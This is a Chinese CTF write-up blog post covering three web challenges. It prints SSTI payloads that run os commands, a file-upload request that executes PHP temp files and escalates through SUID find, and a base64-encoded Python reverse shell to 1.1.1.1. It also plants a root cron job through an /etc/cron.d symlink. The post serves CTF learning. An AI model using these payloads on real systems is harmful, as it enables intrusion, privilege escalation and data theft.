友情提示:本文最后更新于 463 天前,文中的内容可能已有所发展或发生改变。 0x01 前言 前两天看了巅峰赛,自己也还行,不像之前一样爆零了至少,记录一下
0x02 题目 EncirclingGame 玩游戏就可以了,别点太快了围起来就可以了
GoldenHornKing 一个SSTI漏洞但是不同往常,尝试了很久
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import os
import jinja2
import functools
import uvicorn
from fastapi import FastAPI
from fastapi.templating import Jinja2Templates
from anyio import fail_after , sleep
# jinja2==3.1.2
# uvicorn==0.30.5
# fastapi==0.112.0
def timeout_after ( timeout : int = 1 ):
def decorator ( func ):
@functools.wraps ( func )
async def wrapper ( * args , ** kwargs ):
with fail_after ( timeout ):
return await func ( * args , ** kwargs )
return wrapper
return decorator
app = FastAPI ()
access = False
_base_path = os . path . dirname ( os . path . abspath ( __file__ ))
t = Jinja2Templates ( directory = _base_path )
@app.get ( "/" )
@timeout_after ( 1 )
async def index ():
return open ( __file__ , 'r' ) . read ()
@app.get ( "/calc" )
@timeout_after ( 1 )
async def ssti ( calc_req : str ):
global access
if ( any ( char . isdigit () for char in calc_req )) or ( "%" in calc_req ) or not calc_req . isascii () or access :
return "bad char"
else :
jinja2 . Environment ( loader = jinja2 . BaseLoader ()) . from_string ( f " {{{{ { calc_req } }}}} " ) . render ({ "app" : app })
access = True
return "fight"
if __name__ == "__main__" :
uvicorn . run ( app , host = "0.0.0.0" , port = 8000 )
看了一下代码发现只能打一次,打完就得刷机
但是过滤的并不多
首先我们有代码了,看过滤,
1
2
3
4
5
6
7
8
access = False
if ( any ( char . isdigit () for char in calc_req )) or ( "%" in calc_req ) or not calc_req . isascii () or access :
return "bad char"
else :
jinja2 . Environment ( loader = jinja2 . BaseLoader ()) . from_string ( f " {{{{ { calc_req } }}}} " ) . render ({ "app" : app })
access = True
return "fight"
那么打通一次access直接覆盖为true,那么就无法达到渲染效果了就得刷机
禁用了非ascii字符,%,还有数字,那么用chr(数字)来执行等姿势就不行了,但是他一个关键字什么的都没过滤,我们直接调用builtins就行,那么现在我们没有了数字就用下面的payload来测试什么时候生效
1
2
3
4
5
6
7
8
9
10
11
12
13
14
calc?calc_req={{{{x.__init__}}}}
Internal Server Error
calc?calc_req={{{x.__init__}}}
Internal Server Error
calc?calc_req={{x.__init__}}
Internal Server Error
calc?calc_req={x.__init__}
Internal Server Error
/calc?calc_req=x.__init__
"fight"
但是发现也面没有任何走动,那么我们直接构造完整payload试试
1
/calc?calc_req=x.__init__.__globals__.__builtins__['__import__']('os').popen('ls /').read()
没有回显
此时估计页面回显只有python文件,但是又不知道啥名字,使用通配符覆盖文件
1
/calc?calc_req=x.__init__.__globals__.__builtins__['__import__']('os').popen('cp /etc/passwd *py').read()
查看发现成功执行命令
1
/calc?calc_req=x.__init__.__globals__.__builtins__['__import__']('os').popen('cp /f* *py').read()
得到flag
admin_Test(浮现思路) 我以为是sql注入,fuzz之后又在哪里尝试时间盲注结果,我方向都错了
首先弱密码进入(也可以直接进/admin.html)
1
2
3
username:admin
password:qwe123!@#
然后上传恶意文件执行命令发现用户是ctf进行suid提权
但是要执行命令还要通过cmd,先fuzz一下,只有
使用临时文件缓存进行命令执行
这个姿势之前在ctfshow有了解过web56
在linux shell中,.可以用当前的shell执行一个文件中的命令,比如.file就是执行file文件中的命令。并且是不需要file有x权限
上传文件之后,php会生成临时文件在/tmp/phpXXXXXX,其中XXXXXX为六个随机的大小写字母
然后成功之后还需要提权,这里是suid提权
查找文件
1
2
3
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
查看是否有suid权限
1
2
3
4
5
find filename -exec /bin/sh -p \; -quit
进入交互式shell
find 具有suid权限的filename -exec whoami \; -quit
执行命令
那么这里就直接用find提权就行了,借用大头师傅的包
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST / upload . php HTTP / 1.1
Host : eci - 2 zegua8pognq2bylzh7v . cloudeci1 . ichunqiu . com
Content - Length : 310
Content - Type : multipart / form - data ; boundary =---- WebKitFormBoundaryExqFofGztZHH253r
Connection : close
------ WebKitFormBoundaryExqFofGztZHH253r
Content - Disposition : form - data ; name = "file" ; filename = "1.test"
Content - Type : admin / admin
find . - exec cat / flag \; - quit
------ WebKitFormBoundaryExqFofGztZHH253r
Content - Disposition : form - data ; name = "cmd"
. / t */*
------ WebKitFormBoundaryExqFofGztZHH253r --
php_online(浮现思路) 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from flask import Flask , request , session , redirect , url_for , render_template
import os
import secrets
app = Flask ( __name__ )
app . secret_key = secrets . token_hex ( 16 )
working_id = []
@app.route ( '/' , methods = [ 'GET' , 'POST' ])
def index ():
if request . method == 'POST' :
id = request . form [ 'id' ]
if not id . isalnum () or len ( id ) != 8 :
return '无效的ID'
session [ 'id' ] = id
if not os . path . exists ( f '/sandbox/ { id } ' ):
os . popen ( f 'mkdir /sandbox/ { id } && chown www-data /sandbox/ { id } && chmod a+w /sandbox/ { id } ' ) . read ()
return redirect ( url_for ( 'sandbox' ))
return render_template ( 'submit_id.html' )
@app.route ( '/sandbox' , methods = [ 'GET' , 'POST' ])
def sandbox ():
if request . method == 'GET' :
if 'id' not in session :
return redirect ( url_for ( 'index' ))
else :
return render_template ( 'submit_code.html' )
if request . method == 'POST' :
if 'id' not in session :
return 'no id'
user_id = session [ 'id' ]
if user_id in working_id :
return 'task is still running'
else :
working_id . append ( user_id )
code = request . form . get ( 'code' )
os . popen ( f 'cd /sandbox/ { user_id } && rm *' ) . read ()
os . popen ( f 'sudo -u www-data cp /app/init.py /sandbox/ { user_id } /init.py && cd /sandbox/ { user_id } && sudo -u www-data python3 init.py' ) . read ()
os . popen ( f 'rm -rf /sandbox/ { user_id } /phpcode' ) . read ()
php_file = open ( f '/sandbox/ { user_id } /phpcode' , 'w' )
php_file . write ( code )
php_file . close ()
result = os . popen ( f 'cd /sandbox/ { user_id } && sudo -u nobody php phpcode' ) . read ()
os . popen ( f 'cd /sandbox/ { user_id } && rm *' ) . read ()
working_id . remove ( user_id )
return result
if __name__ == '__main__' :
app . run ( debug = False , host = '0.0.0.0' , port = 80 )
代码总共分为两部分,一个是index一个是sandbox,
1
2
index:
利用传入的id,注册账号进入沙盒(我思路都错了一位是session伪造,还是没有好好看代码)
1
2
3
4
sandbox:
sudo -u nobody 基本没有什么权限
复制init.py到沙盒
并且有个init.py需要读
先创建两个用户一个AAAAAAAA用户,一个BBBBBBBB用户
init.py源码
1
2
import logging
logger . info ( "aaa" )
这里有模块加载原理也就是
1
imort xxx时候,如果xxx是文件夹,就会自动执行里面的__init__.py
可以A创建一个logging/__init__.py劫持(开始代码执行)
1
2
3
import logging
logger . info ( 'Code execution start' )
然后在A的沙盒中执行命令弹shell
1
<?php system("mkdir -p /sandbox/BBBBBBBB/logging");system("echo aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zCnM9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEuMS4xLjEiLDI5OTk5KSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO2ltcG9ydCBwdHk7IHB0eS5zcGF3bigiL2Jpbi9iYXNoIik= | base64 -d > /sandbox/BBBBBBBB/logging/__init__.py");?>
但是没有触发,由于是劫持了的,此时再访问B,随便执行什么,然后就会执行init.py,也就是我们的弹shell代码
监听到之后
1
2
3
ps -ef
发现
/usr/sbin/cron
再看配置文件
1
/ etc / cron . d和 / var / spool / cron
发现/etc/cron.d是能操作的
这里软连接把定时任务转移到沙箱中
1
ln -s /etc/cron.d/ /sandbox/FFFFFFFF
再登录到F中执行定时命令
1
2
3
4
5
* * * * * root cat /flag>/tmp/111
#
#
#<?php while(1){echo 1;};?>
其中* * * * *表示每分钟执行一次,while死循环是为了让phpcode一直存在于/etc/cron.d/phpcode中也就是防止这句
1
os.popen(f'cd /sandbox/{user_id} && rm *').read()
1
2
在本来弹到的shell里面等一分钟
cat /tmp/111
0x03 小结 后面这两个题,思路都错了,肯定会卡住,而且我如果来打的话,肯定是打不通的,很多不会的知识点,还是多学学,不对的地方希望各位师傅斧正